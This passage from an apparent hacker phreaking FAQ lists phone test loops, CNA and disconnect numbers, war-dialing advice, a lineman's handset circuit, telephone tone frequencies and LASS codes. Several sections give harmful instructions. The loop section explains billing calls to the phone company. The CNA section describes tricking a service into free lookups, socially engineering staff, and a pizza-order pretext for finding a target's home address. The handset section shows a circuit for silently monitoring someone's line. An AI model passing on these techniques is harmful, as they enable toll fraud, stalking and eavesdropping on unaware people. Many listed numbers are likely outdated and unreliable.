New Zealand:
137
Sweden:
0058
United
Kingdom:
174 or 1744 or 175 or 0500-89-0011
or 17070 + 1
The
Netherlands:
99-xxxxxx
0196 Amsterdam
0123456789 Hilversum
0123456789 Breukelen
951 Groningen

D-14. What is a loop?

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This FAQ answer is excerpted from: ToneLoc v0.99 User Manual

by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the
phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple
use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud
tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called,
the people that called each end can talk through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's what you can use working loops for:
billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the
other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo",
"Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the
phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or
the loop may go down. Loops are probably most useful when you want to talk to someone to whom you
don't want to give your phone number.

D-15. What is a loop in my area?

Many (if not most) of these loops are no longer functional. If you are local to any of these loops, please try
them out an e-mail me the results of your research.

NPA High Low Notes


201 666-9929 666-9930
208 862-9996 862-9997
213 365-1118 365-1119
308 357-0004 357-0005
310 455-0002 455-????
310 546-0002 546-????
312 262-9902 262-9903 Very odd sound
313 224-9996 224-9997
313 225-9996 225-9997
313 234-9996 234-9997
313 237-9996 237-9997
313 256-9996 256-9997
313 272-9996 272-9997
313 273-9996 273-9997
313 277-9996 277-9997
313 281-9996 281-9997
313 292-9996 292-9997
313 299-9996 299-9997
313 321-9996 321-9997
313 326-9996 326-9997
313 356-9996 356-9997
313 362-9996 362-9997

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313 369-9996 369-9997


313 388-9996 388-9997
313 397-9996 397-9997
313 399-9996 399-9997
313 445-9996 445-9997
313 465-9996 465-9997
313 471-9996 471-9997
313 474-9996 474-9997
313 477-9996 477-9997
313 478-9996 478-9997
313 483-9996 483-9997
313 497-9996 497-9997
313 526-9996 526-9997
313 552-9996 552-9997
313 556-9996 556-9997
313 561-9996 561-9997
313 569-9996 569-9996
313 575-9996 575-9997
313 577-9996 577-9997
313 585-9996 585-9997
313 591-9996 591-9997
313 621-9996 621-9997
313 626-9996 626-9997
313 644-9996 644-9997
313 646-9996 646-9997
313 647-9996 647-9997
313 649-9996 649-9997
313 663-9996 663-9997
313 665-9996 665-9997
313 683-9996 683-9997
313 721-9996 721-9997
313 722-9996 722-9997
313 728-9996 728-9997
313 731-9996 731-9997
313 751-9996 751-9997
313 776-9996 776-9997
313 781-9996 781-9997
313 787-9996 787-9997
313 822-9996 822-9997
313 833-9996 833-9997
313 851-9996 851-9997
313 871-9996 871-9997
313 875-9996 875-9997

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313 886-9996 886-9997


313 888-9996 888-9997
313 898-9996 898-9997
313 934-9996 934-9997
313 942-9996 942-9997
313 963-9996 963-9997
313 977-9996 977-9997
315 673-9995 673-9996
315 695-9995 695-9996
406 225-9902 225-9903
408 238-0044 238-0045
408 773-0044 773-0045
501 753-4291 753-4297
517 422-9996 422-9997
517 423-9996 423-9997
517 563-9996 563-9997
517 663-9996 663-????
517 851-9996 851-9997
613 966-1111
703 591-9994
713 342-1499 342-1799
713 351-1499 351-1799
713 354-1499 354-1799
713 356-1499 356-1799
713 442-1499 442-1799
713 447-1499 447-1799
713 455-1499 455-1799
713 458-1499 458-1799
713 462-1499 462-1799
713 466-1499 466-1799
713 468-1499 468-1799
713 469-1499 469-1799
713 471-1499 471-1799
713 481-1499 481-1799
713 482-1499 482-1799
713 484-1499 484-1799
713 487-1499 487-1799
713 489-1499 489-1799
713 492-1499 492-1799
713 493-1499 493-1799
713 524-1499 524-1799
713 526-1499 526-1799
713 555-1499 555-1799

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713 661-1499 661-1799


713 664-1499 664-1799
713 665-1499 665-1799
713 666-1499 666-1799
713 667-1499 667-1799
713 682-1499 976-1799
713 771-1499 771-1799
713 780-1499 780-1799
713 781-1499 997-1799
713 960-1499 960-1799
713 977-1499 977-1799
713 988-1499 988-1799
719 598-0009 598-0010
805 528-0044 528-0045
805 544-0044 544-0045
805 773-0044 773-0045
808 235-9907 235-9908
808 239-9907 239-9908
808 245-9907 245-9908
808 247-9907 247-9908
808 261-9907 261-9908
808 322-9907 322-9908
808 328-9907 328-9908
808 329-9907 329-9908
808 332-9907 332-9908
808 335-9907 335-9908
808 572-9907 572-9908
808 623-9907 623-9908
808 624-9907 624-9908
808 668-9907 668-9908
808 742-9907 742-9908
808 879-9907 879-9908
808 882-9907 882-9908
808 885-9907 885-9908
808 959-9907 959-9908
808 961-9907 961-9908
810 362-9996 362-9997
813 385-9971 385-xxxx
847 724-9951 724-????
908 254-9929 254-9930
908 558-9929 558-9930
908 560-9929 560-9930
908 776-9930 776-9930

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916 221-0044 221-0045 Voice filtered


916 222-0044 222-0045 Voice filtered

D-16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone number for
telephone company personnel to call and get the name and address for a phone number. If a
telephone lineman finds a phone line he does not recognize, he can use the ANI number to find
its phone number and then call the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel. Private citizens
may legally get CNA information from private companies. Companies offering this service
include:

Cross-Reference Directories (900)288-3020


AT&T National Directory Assistance (900)555-1212
Telename (900)884-1212
Unidirectory (900)933-3330

Note that these are 900 numbers, and will cost you approximately one dollar per minute.

If you are in 312, 708, or parts of 815, AmeriTech has a pay-for-play CNA service available to
the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers
per call.

If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299.

If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for
automated CNA information. The cost is $.50/call.

The legal telephone company CNA for Ontario is 555-1313.

You can fool (800)967-5356 into giving you a free CNA by requesting a free disk and then
entering the number you want the adress for at the prompt.

You can often social engineer CNA information out of telephone company employees or out
of employees of other companies with CNA access.

Here is a sample script that works if your target has ever ordered pizza from Domino's or Pizza
Hut:

Them: Hi, thanks for call, may I take your order please?

You: Yes, I'd like 4 large pepperoni pizzas.

Them: May I have your phone number please?

You: <State your targets phone number here>

Them: Is this 238 Ward Road?

You: Yes ma'am.

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D-17. What is the telephone company CNA number for my area?

NPA Telephone Number Geography


203 (203)771-8080 CT
214 (214)744-9500 Southwestern Bell
214 (214)745-7505 Southwestern Bell
217 (217)789-8290 Ameritech (Illinois)
312 (312)796-9600 Chicago, IL
506 (506)555-1313 New Brunswick
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
912 (912)752-2000 #1367 Albany/Savannah, GA
NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts

D-18. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a constantly busy
number in many different prefixes. In most of these, there are some exchanges that ring busy
and some exchanges that are in normal use. ALWAYS test these numbers at least three times
during normal business hours before using as a constantly busy number.

NPA Telephone Number Geography


800 999-1803 WATS
201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
212 724-9970 Manhattan, NY
213 xxx-1117 Los Angeles, CA
213 xxx-1118 Los Angeles, CA
213 xxx-1119 Los Angeles, CA
213 xxx-9198 Los Angeles, CA
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
310 xxx-1117 Long Beach, CA
310 xxx-1118 Long Beach, CA
310 xxx-1119 Long Beach, CA
310 xxx-9198 Long Beach, CA
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR

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518 571-xxxx Albany, NY


719 472-3772 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
714 xxx-1117 Anaheim, CA
714 xxx-1118 Anaheim, CA
714 xxx-1119 Anaheim, CA
714 xxx-9198 Anaheim, CA
717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
717 980-xxxx Harrisburg/Scranton/Wilkes Barre, PA
818 xxx-1117 Pasadena, CA
818 xxx-1118 Pasadena, CA
818 xxx-1119 Pasadena, CA
818 xxx-9198 Pasadena, CA
818 885-0699 Pasadena, CA (???-0699 is a pattern)
860 525-7078 Hartford, CT
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI

D-19. What are some numbers that temporarily disconnect phone service?

If your NPA is not listed, or the listing does not cover your LATA, try common
numbers such as 119 (GTD5 switches) or 511.

Telephone Length of
NPA Geography
Number disconnection
209 999 Stockton/Fresno/Lodi, CA (100 seconds)
Ann Arbor/Dearborn/Detroit, MI
313 xxx-9994 (1 minute)
(Ameritech)
Columbia/Jefferson City/St.Louis,
314 511 (1 minute)
MO
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
407 511 Orlando, FL (United Telephone) (1 minute)
Fond du Lac/Green Bay/Milwaukee
414 958-0013 (1 minute)
/Racine, WI
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
Bay City/Jackson/Lansing, MI
517 xxx-9994 (1 minute)
(Ameritech)
518 958 Albany, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH

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Battle Creek/Grand Rapids/Kalamazoo, MI


616 xxx-9994
(Ameritech)(1 minute)
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
807 211 Thunder Bay, Ontario (3 minutes)
Pontiac/Southfield/Troy, MI
810 xxx-9994 (1 minute)
(Ameritech)
Marquette/Sault Ste. Marie, MI
906 xxx-9994 (1 minute)
(Ameritech)
919 211 or 511 Durham, NC (10 min - 1 hour)

D-20. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines.
You call the Proctor Test Set number and press buttons on a touch tone phone to active the
tests you select.

D-21. What is a Proctor Test Set in my area?

If your NPA is not listed try common numbers such as 111 or 117.

NPA Telephone Number Geography


805 111 Bakersfield/Santa Barbara, CA
909 117 Tyler, TX
913 611-1111 Lawrence/Salina/Topeka, KS

D-22. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding anything
interesting. Interesting items often include test tones, computers, Voice Message Boxes
(VMB's), Private Branch Exchanges (PBX's), and government offices.

Scanning can be done by hand, although dialing several thousand telephone numbers by hand
is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war dialer or a demon dialer.
Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and
Mucho Maas.

For the Macintosh, try Assault Dialer.

A war dialer will dial a range of numbers and log what it finds at each number. You can then
only dial up the numbers that the war dialer marked as carriers or tones.

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D-23. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

In some places, scanning has been made illegal. It would be hard, though, for
someone to file a complaint against you for scanning since the whole purpose is to
call every number once and only once. It's not likely to be thought of as
harassment by anyone who gets a single phone call from a scanning computer.
Some central offices have been known to react strangely when people start
scanning. Sometimes you're unable to get a dialtone for hours after you start
scanning. But there is no uniform policy. The best thing to do is to first find out if
you've got some crazy law saying you can't do it. If, as is likely, there is no such
law, the only way to find out what happens is to give it a try.

It should be noted that a law making scanning illegal was recently passed in Colorado Springs,
CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.

D-24. How can I make a lineman's handset?

This FAQ answer was written by Phucked Agent 04:

This is the "right hand" of both the professional and the amatuer lineman. Basically, it is a
customized portable telephone which is designed to be hooked onto raw cable terminals in the
field and used to monitor the line, talk, or dial out. The monitor function is usually the main
difference between the "butt-in" test set and the normal phone. If you don't have a real test set
already, the following circuit can convert a normal $4 made-in-taiwan phone into a working
test set. The "all-in-one" handset units without bases are the best (I tend to like QUIK's and
GTE Flip Phone II's). Anyway-

OFFICIAL Agent 04 Generic Test Set Modification (tm)

OFFICIAL Agent 04 Generic Test Set Modification (tm)

Ring >---------------------------------> to "test set" phone


Tip >------! SPST Switch !-------->
!-----/ ----------!
>from !-------/!/!/!/!--! C = 0.22 uF 200 WVDC Mylar
cable pair ! C R ! R = 10 kOhm 1/2 W
(alligators) !--! (------------! SPST = Talk / Monitor

When SPST is closed, you are in talk mode; when you lift the switch- hook on the "test set"
phone, you will get a dial tone as if you were a standard extension of the line you are on. You
will be able to dial out and receive calls. When the SPST is opened, the resistor and capacitor
are no longer shunted, and they become part of the telephone circuit. When you lift the
switchhook on the test set, you will not receive dial tone, due to the fact that the cap blocks
DC, and the resistor passes less than 4 mA nominally (far below the amount necessary to
saturate the supervisory ferrod on ESS or close the line relay on any other switch). However,
you will be able to silently monitor all audio on the line. The cap reactance + the phone's
impedance insure that you won't cut the signal too much on the phone line, which might cause
a noticeable change (..expedite the shock force, SOMEONE'S ON MY LINE!!). It's also good
to have a VOM handy when working outside to rapidly check for active lines or supervision
states.

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D-25. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194

Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353

Time Motion Tools


12778 Brookprinter Place
Poway, CA 92064
(619)679-0303

D-26. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a
key on your telephone touch pad. The tone of the button is the sum of the column and row
tones. The ABCD keys do not exist on standard telephones.

1209hz 1336hz 1477hz 1633hz


697hz 1 23 A
770hz 4 56 B
852hz 7 89 C
941hz * 0# D

D-27. What are the frequencies of the telephone tones?

Many of these tones are no longer used and are mentioned here only for historical accuracy.

Low Tone

This is a generic tone used with various interruption patterns for specific tones listed below and
described under their own titles:

Line Busy Tone


Reorder
RevertingTone
No Circuit Tone
No Such Number
Vacant Code

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Group Busy Tone


Deposit Coin Tone
Vacant Position Tone
Dial Off-Normal Tone
Trouble Tone
Dial Jack Tone
Dial Test Signal
Class of Service

Low Tone 480 Hz and 620 Hz at -24 dBm0/frequency. On some systems manufactured before
1974, Low Tone was 600 Hz modulated at 120, 133, 140 or 160 Hz at 61 - 71 dBrnC.

High Tone

This is a generic tone used with various interruption patterns for the specific tones listed below
and described under their own titles:

Partial Dial Tone


Permanent Signal
Coin Return (Test) Tone
Coin Return Tone
Number Checking Tone
Intercepting Loopback Tone
Warning Tone
Order Tone
Station Ringer Test
Class of Service

High Tone 480 Hz at -17 dBm0. On some systems manufactured before 1974, High Tone was
400 Hz or 500 Hz at 61 - 71 dBrnC.

Dial Tone

This tone is sent to a customer or operator to indicate that the receiving end is ready to receive
dial pulses or DTMF signals. It is used in all types of dial offices when dial pulses are produced
by the customer's or operator's dials. Normally dial tone means that the entire wanted number
may be dialed; however, there are some cases where the calling party must await a second dial
tone or where an operator, after dialing an initial group of digits, must wait for a second dial
tone before the rest of the number can be dialed. Some dialing switchboards are arranged to
permit listening for dial tone between certain digits.

Dial Tone is 350 Hz and 440 Hz held steady at -13 dBm0/frequency.

Audible Ring Tone

This is a ringing indication which is intercepted by the calling party to mean that the called line
has been reached and that the ringing has started. It is also used on calls to operators (special
service, long distance, intercepting, etc) during the "awaiting-operator-answer" interval.

Audible Ring Tone is 440 Hz and 480 Hz for 2 seconds on and 4 seconds off at -13

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dBm0/frequency.

Line Busy Tone


The Line Busy Tine indicates that the called customer's line has been reached but that it is
busy or being rung or on permanent signal. When a line busy signal is applied by an operator, it
is sometimes calls a busy-back tone.

Line Busy Tone is Low Tone on and off every .5 seconds.

Reorder

Reorder indicates that the local or toll switching or transmission paths to the office or
equipment serving the called customer is busy. This signal may indicate a condition such as a
timed-out sender or unassigned code dialed. It is interpreted by either a customer or an
operator as a reorder signal.

Reorder on a local call is Low Tone for .3 seconds on and .2 seconds off. Reorder on a toll call
is Low Tone for .2 seconds on and .3 seconds off. In No. 5 crossbar, No. 1/1A ESS, No. 2/2B
ESS switching equipment and No. 1 step-by-step offices using the Precise Tone Plan, the
temporal pattern is 0.25 second of low tone and 0.25 second off.

Alerting Tone

Indicates that an operator has connected to the line (emergency interrupt on a busy line during
a verification call).

Alerting Tone is 440 Hz on for 2 seconds and then on again for .5 seconds every ten seconds.

Recorder Warning Tone

When recording equipment is used, this tone is connected to the line to inform the distant party
that the conversation is bveing recorded. The tone source is located within the recording
equipment and cannot be controlled by the party applying the recording equipment to the line.
This tone is required by law and is recorded along with the speech.

Recorder Warning Tone is a .5 second burst at 1400 Hz every 15 seconds.

Recorder Connected Tone

This tone is used to inform the customer that his/her call is connected to a recording machine
and that he/she should proceed to leave a message, dictate, etc. It is to be distinguished from
the recorder warning tone, which warns the customer that his/her 2-way conversation is being
recorded.

Recorder Warning Tone is a .5 second burst at 440 Hz every 5 seconds.

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Reverting Tone

The same type of signal as line busy tone is used for reverting tone in all systems. In No. 5
crossbar systems, a second dial tone is sometimes also used when a calling party identification
digit is required. The reverting signal informs the calling subscriber that the called party is on
the same line and that he/she should hang up while the line is being rung.

Reverting Tone is is Low Tone on and off every .5 seconds at -24 dBm0/frequency.

Deposit Coin Tone


This tone, sent from a Community Dial Office to a post-pay coin telephone, informs the calling
party that the called party has answered and that the coin should be deposited.

Deposit Coin Tone is a steady Low Tone.

Receiver Off-Hook Tone

This tone is used to cause off-hook customers to replace the receiver on-hook on a permanent
signal call and to signal a non-PBX off-hook line when ringing key is operated by a
switchboard operator.

Receiver Off-Hook Tone is 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at 0 dBm0/frequency on
and off every .1 second. On some older space division switching systems Receiver Off-Hook
was 1400 Hz, 2060 Hz, 2450 Hz and 2600 Hz at +5 VU on and off every .1 second. On a No. 5
ESS this continues for 30 seconds. On a No. 2/2B ESS this continues for 40 seconds. On some
other AT&T switches there are two iterations of 50 seconds each.

Howler

This tone is used in older offices to inform a customer that their receiver is off-hook. It has
been superseded by the receiver off-hook tone.

Howler was a 480 Hz tone incremented in volume every second for ten seconds until it reaches
+40 VU.

Partial Dial Tone

High-tone is used to notify the calling party that he/she has not commenced dialing within a
preallotted time, measured after receipt of dial tone (permanent signal condition), or that
he/she has not dialed enough digits (partial dial condition). This is a signal to hang up and dial
again.

Partial Dial Tone is a steady High Tone.

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No Such Number a.k.a. "Cry Baby"

This signal tells the calling party to hang up, check the called number, and dial again. In
modern systems, calls to unassigned or discontinued numbers will also be routed to a machine
announcement system, such as 6A or 7A, which verbally supplies the require message. In some
older offices, you could be routed to an intercepting operator. In some offices, reorder tone is
returned in this condition.

No Such Number is 200 to 400 Hz modulated at 1 Hz, interrupted every 6 seconds for .5
seconds.

Vacant Code

This tone is used in crossbar systems to indicate that the dialed office code is unassigned. In
step-by-step areas, this signal is called vacant level tone. For operator-originated calls, the
verbal announcement is preceeded by two flashes. In modern systems, recorded verbal
announcements are used for this service.

Vacant Code is Low Tone for .5 seconds on, .5 seconds off, .5 seconds of and 1.5 seconds off.

Busy Verification Tone (Centrex)

Busy verification is a Centrex feature that allows the attendant to call and be connected to a
busy Centrex station within the attendant's customer group. The busy verification tone is
applied to both parties of the connection to inform them of the intrusion by the attendant. No
tone is applied if the station called for busy verification is idle.

Busy Verification Tone (Centrex) is 440 Hz at -13 dBm0 for 1.5 seconds and then again for .3
seconds every 7.5 to 10 seconds. On a No. 1/1A ESS, Busy Verification Tone (Centrex) is 440
Hz at -13 dBm0 for 1.5 seconds and then again for .3 seconds every 6 seconds.

There is also a TSPS Busy Verification tone, which is 440 Hz at -13 dBm0 for 2 seconds and
then on again for .5 seconds every 10 seconds.

Call Waiting Tone


Call Waiting is a special service that allows a busy line to answer an incoming call by flashing
the switchhook. Audible ring (instead of line busy) is applied to the calling line, and the Call
Waiting tone is applied to the called line. (So that only the called party hears the tone, the
connection is momentarily broken, and the other party to that connection experiences a
moment of silence.) Flashing the switchhook places the existing connection on hold and
connects the customer to the waiting call.

Call Waiting Tone is two bursts of 440 Hz at -13 dBm0/frequency for .3 seconds plus or minus
ten percent every ten seconds.

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Confirmation Tone

This tone is used to acknowledge receipt by automatic equipment of information necessary for
special services. It is currently used for:

1. Speed Calling - dialed number has been recorded


2. Call Forwarding - dialed number has been recorded and service
is activated
3. Call Forwarding - service is deactivated

Confirmation Tone is 350 Hz and 440 Hz at -13 dBm0/frequency on for .1 second, off for .1
second and then on for .3 seconds.

Indication of Camp-On

Attendant camp-on service allows an electronic switching system Centrex attendant to hold
incoming calls to busy lines. Each time the attendant releases his/her talking connection from
the loop involved in the camped-on call, the indication of camp-on tone is heard by the called
customer if the customer has subscribed to the indication of camp-on option. The customer
may get this tone several times as the attendant reconnects and releases from the loop in
response to timed reminders from the console.

Indication of Camp On is 440 Hz at -13 dBm0 for one second every time the attendant
releases from the loop.

Special Dial Tone

This tone is used with Three-Way Calling, Centrex station dial transfer, and Centrex
conference (station or attendant) services. The user on an existing connection flashes the
switchhook, receives special dial tone, and dials number of the third party to be added to the
connection.

Special Dial Tone is 350 Hz and 440 Hz at -13 dBm0/frequency for .1 second on, .1 second
off, .1 second on, .1 second off, .1 second on, .1 second off, and then on steady.

Priority Audible Ring (AUTOVON)

This tone replaces normal audible ring for priority calls within the AUTOVON network.

Priority Audible Ring is 440 Hz and 480 Hz at -16 dBm0/frequency on for 1.65 seconds and
off for .35 seconds.

Preemption Tone (AUTOVON)

This tone is provided to both parties of a connection that is preempted by a priority call from
the AUTOVON network.

Preemption Tone is 440 Hz and 620 Hz at -18 dBm0/frequency steady for anywhere from

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three to fifteen seconds.

Data Set Answer Back Tone


This set is heard when manually initiating a data call. It normally occurs shortly after the start
of audible ringing and means that the remote data set has answered. The data set at the calling
end should then be put into the data mode.

Data Set Answer Back Tone is 2025 Hz steady at -13 dBm.

Calling Card Service Prompt Tone

This tone is used to inform the customer that his/her credit card information must be keyed in.
The first 60 milliseconds of this composite tone is 941 Hz abd 1477 Hz which is the DTMF '#'.
This tone will release and DTMF to dial pulse converter in the conneciton.

Calling Card Service Prompt Tone is 941 Hz and 1477 Hz at -10 dBm0/frequency at -3
Transmission Level Point for 60 milliseconds and then 440 Hz and 350 Hz at -7 dBm0 for .940
seconds exponentially decayed from -10 dBm per frequency at -3 Transmission Level Point at
time constant of .2 seconds.

Class of Service

These signals are used at a toll board operating as an 'A" board to identify the class or service
of the calling customer. The indication may be high, low, or no tone.

Class of Service is a single burst of either High Tone or Low Tone for .05 to 1 seconds.

Dial-Normal Transmission Signal

This is a second dial tone returned to an operator between digits indicating that he/she may dial
the remainder of the number. For example, when an operator reaches a link-type Community
Dial Office via a step-by-step office after dialing a routing code, he/she must pause until an
idle link at the Community Dial Office returns dial tone. This method of operation is not
recommended or considered standard.

Dial-Normal Transmission Signal is a steady Low Tone.

Dial Jack Tone

Low tone is used as a start-dial signal to tell a DSA operator that the connection reached
through a dial jack is ready to receive dialing.

Dial Jack Tone is a steady Low Tone.

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Order Tone

High tones sent over interposition, local interoffice, or toll trunks indicate:

1. the the originating operator that the order should be passed


2. to the receiving operator that an order is about to be passed

For Call Announcement and Autometic Display Call Indicator, the tone serves function two
only.

a. Single-order tone - This is a relatively long (0.5 second) signal


which means that the originating operator should pass the
office name and number.

b. Double-order tone - This signal is two short spurts in quick


succession and means that the operator should pass only the
desired number.

c. Triple-order tone - This signal is three short spurts in quick


succession and means that the operator should pass the office
name only and wait for another order tone.

d. Quadruple-order tone - This signal is four short spurts in quick


succession and means that the operator should pass the city
name only and wait for another challenge. It is used in manual
toll tandem (also called zip tones or trunk assignment tones).

Single-order tone is one .5 spurt of High Tone. Double-order tone is two short spurts of High
Tone. Triple-order tone is three short spurts of High Tone. Quadruple-order tone is four short
spurts of High Tone.

Intercepting Loopback Tone

High tone sent from an intercept operator to the 'A' board operator in manual offices indicates
that an intercept operator has completed the call and that the 'A' should disconnect from the
circuit. The completion of intercepted calls in this manner is no longer recommended.

Intercepting Loopback Tone is a steady High Tone.

Number Checking Tone

High tone is sometimes used at DSA switchboards in No. 1 crossbar and some step-by-step
areas to verify the verbal identification of the calling line.

Number Checking Tone is a steady High Tone. On some older systems, Number Checking
Tone was a steady 135 Hz tone.

Coin Denomination Tones

These tones enable the operator to determine the amount deposited in coin telephones.

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Coin Denomination Tones for the old 3 slot payphones were:

Nickel - One tap of 1050 Hz and 1100 Hz (bell)

Dime - Two taps of 1050 Hz and 1100 Hz (bell)

Quarter - One tap at 800 Hz (gong)

Coin Collect Tone

Low tone over a coin recording-completing trunk informs the originating toll operator that the
local operator or coin control circuit has collected the charge.

Coin Collect Tone is a steady Low Tone.

Coin Return Tone

High tone over a coin recording-completing trunk informs the originating toll operator that the
local operator or coin control circuit has returned the change when the connection is not
completed (also called coin refund tone).

Coin Return Tone is a single .5 to 1 second burst of High Tone.

Coin Return (Test) Tone

High tone is used to tell an operator in a dial central office that a tester has completed a call to
his/her position over a coin trunk.

Coin Return (Test) Tone is a single .5 to 1 second burst of High Tone.

Group Busy Tone

This audible signal is indicated by low tone on the sleeve of trunk jacks at cord switchboards.
Absense of the tone tells the operator that there is at least one idle trunk in a group.

Group Busy Tone is a steady Low Tone.

Vacant Position Tone

Low tone is applied to all straightforward trunks terminating in a vacated position in manual
offices.

Vacant Position Tone is a steady Low Tone.

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Dial Off-Normal Tone

Low tone is returned to an operator after he/she has completed a call into a step-by-step office
and after the calling party has answered to remind him/her to restore the dial key.

Dial Off-Normal Tone is a steady Low Tone.

Permanent Signal

A customer line, not in use, which exhibits a steady off-hook condition is routed to a
permanent signal trunk. High tone, superimposed on battery, is supplied through a resistance
lamp to the ring of the trunk. The tone is used to inform an operator or other employee making
a verification test that the line is temporarily out of service. An intermittent ground may also
be applied to the ring of the telephone systems left in the hold condition. Typical reasons for
the line condition are:

a. No dialing within the allowed waiting interval.


b. A handset is off-hook.
c. Low insulation resistance or other line trouble.

In some offices, if three or more digits are dialed but not a complete telephone number or
code, the call is released and dial tone is returned.

Permanent Signal is a steady High Tone.

Warning Tone
High tone warns an operator that the circuit he/she is connected to is not in condition for
normal operation. Examples:

1. An operator at an Automatic Display Call Indicator position


plugs in the wrong jack.
2. An operator at a sender monitor position plugs into a sender
supervisory jack while the sender is under test.

Warning Tone is a steady High Tone.

Trouble Tone

Low tone applied by an operator or test person at a B position in a manual office to the jack
sleeve of a line or trunk in a calling multiple tells other operators the line or trunk is in trouble
(also called plugging up codr tone).

Trouble Tone is a steady Low Tone.

Service Observing Tone

This tone indicated that the trunk to which it is applied is being service-observed.

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Service Observing Tone is a steady 135 Hz.

Proceed to Send Tone (International Direct Distance Dialing)


This tone informs the operator that an overseas sender has been siezed and the address
information (KP-CC-CC-ST) should be transmitted.

Proceed to Send Tone is a steady 480 Hz at -22 dBm0.

Centralized Intercept Bureau Order Tone

This tone tells the centralized intercept bureau operator that a call has reached the position.

Centralized Intercept Bureau Order Tone is a .5 second burst of 1850 Hz at -17 dBm0.

ONI Order Tone


This tone tells the ONI operator that a call has reached the position.

ONI Order Tone is 700 Hz and 1100 Hz at -25 dBm for .095 to .25 seconds.

D-28. What is the voltage used to ring a telephone?

According to AT&T, the ringing signal is an 88v 20Hz A.C. signal superimposed on 48v
nominal D.C. supervisory voltage. However, the actual rining signal used can and does vary
greatly from one location to another. The frequency of the AC signal is normally between 15
and 70Hz. The interval between ringing signals is normally four seconds.

D-29. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes:

Service Tone Pulse/rotary Notes


Assistance/Police 12 n/a [1]
Cancel forwarding 30 n/a [C1]
Automatic Forwarding 31 n/a [C1]
Notify 32 n/a [C1] [2]
Intercom Ring 1 (..) 51 1151 [3]
Intercom Ring 2 (.._) 52 1152 [3]
Intercom Ring 3 (._.) 53 1153 [3]
Extension Hold 54 1154 [3]
Customer Originated Trace 57 1157

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Selective Call Rejection 60 1160 (or Call Screen)


Selective Distinct Alert 61 1161
Selective Call Acceptance 62 1162
Selective Call Forwarding 63 1163
ICLID Activation 65 1165
Call Return (outgoing) 66 1166
Number Display Blocking 67 1167 [4]
Computer Access Restriction 68 1168
Call Return (incoming) 69 1169
Call Waiting disable 70 1170 [4]
No Answer Call Transfer 71 1171
Usage Sensitive 3 way call 71 1171
Call Forwarding: start 72 or 72# 1172
Call Forwarding: cancel 73 or 73# 1173
Speed Calling (8 numbers) 74 or 74# 1174
Speed Calling (30 numbers) 75 or 75# 1175
Anonymous Call Rejection 77 1177 [5] [M: *58]
Call Screen Disable 80 1180 (or Call Screen) [M: *50]
Selective Distinct Disable 81 1181 [M: *51]
Select. Acceptance Disable 82 1182 [4] [7]
Select. Forwarding Disable 83 1183 [M: *53]
ICLID Disable 85 1185
Call Return (cancel out) 86 1186 [6] [M: *56]
Anon. Call Reject (cancel) 87 1187 [5] [M: *68]
Call Return (cancel in) 89 1189 [6] [M: *59]

Notes:

[C1] - Means code used for Cellular One service


[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the
current line; Hold keeps a call connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for
instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless
of the default setting on this phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by
different names in different RBOCs. In Bellsouth it is called Prestige.
It is an arrangement of ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so
all *8x codes are reassigned *5x

These appear to be standard, but may be changed locally

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Under GTE, some LASS/CLASS tones may be changed from *NN to NN#. Under pulse,
GTD5 allows either NN<pause> or 11NN, but with 11NN it may conflict with a test number.

